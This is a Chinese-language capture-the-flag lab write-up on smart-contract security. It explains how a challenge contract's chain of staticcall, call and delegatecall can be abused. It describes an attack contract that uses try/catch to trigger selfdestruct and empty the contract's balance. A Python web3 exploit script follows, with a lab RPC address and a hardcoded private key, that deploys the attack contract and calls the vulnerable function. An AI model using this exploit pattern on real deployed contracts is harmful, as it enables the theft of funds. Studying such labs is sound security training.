區塊鏈安全
文章目錄
- 區塊鏈安全
- Call函數簇濫用實戰二
- 實驗目的
- 實驗環境
- 實驗原理
- 實驗內容
- 實驗步驟
- EXP利用
Call函數簇濫用實戰二
實驗目的
學會使用python3的web3模塊
學會并區分以太坊call、staticcall、delegatecall三種函數調用的特點
找到合約漏洞進行分析并形成利用
實驗環境
Ubuntu18.04操作機
實驗工具
python3
實驗原理
call調用,最常用的調用方式,調用后內置變量msg的值會修改為調用者,執行環境為被調用者的運行環境
delegatecall調用,調用后內置變量msg的值不會修改為調用者,但執行環境為調用者的運行環境
staticcall調用,調用之后不能改變合約狀態,否則交易會回滾
實驗內容
合約中使用到了call、delegatecall、staticcall函數調用,找到合約漏洞并形成利用,把合約余額清空即可
使用python3的web3模塊遠程利用漏洞并獲取flag
實驗地址為nc ip 10006
實驗步驟
獲取合約地址和合約源代碼
nc ip 10006連接到題目,輸入1,獲取部署合約的game account及token
打開http://ip,輸入上述分配的game account,點擊Request獲取eth
nc ip 10006連接到題目,輸入2,獲取部署合約的地址及new token
nc ip 10006連接到題目,輸入4,獲取合約源代碼,或者在題目附件找到合約源代碼
分析合約源代碼漏洞
題目要求清空合約余額
先分析程序主要邏輯:首先拿calldata,staticcall自己,保證交易正常進行不會revert回滾;其次拿calldata,call自己,這個時候自己調用自己,會執行delegatecall邏輯;題目要求清空合約余額,可以借助delegatecall直接destruct合約
所以設計一個攻擊合約,只需要滿足staticcall的時候不改變合約狀態,delegatecall的時候執行selfdestruct即可,由于是0.6.12版本,可借助try catch實現。
EXP利用
用python編寫自動化exp,功能包括部署攻擊合約得到攻擊合約地址,將其作為題目合約的hack函數參數進行調用即可
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0xE7f096F94e7BCa204A673319510FB051E526a70E"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.6.12')
with open('./attack.sol', 'r') as f:SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:Solver']txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)time.sleep(5)data = Web3.keccak(text='Hack(address)').hex()[:10]
data += hack_address[2:].rjust(64, '0') # Hack(address)
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
print(sign_and_send(txn))
執行exp
nc ip 10006連接到題目,輸入3,輸入之前的new token,獲取flag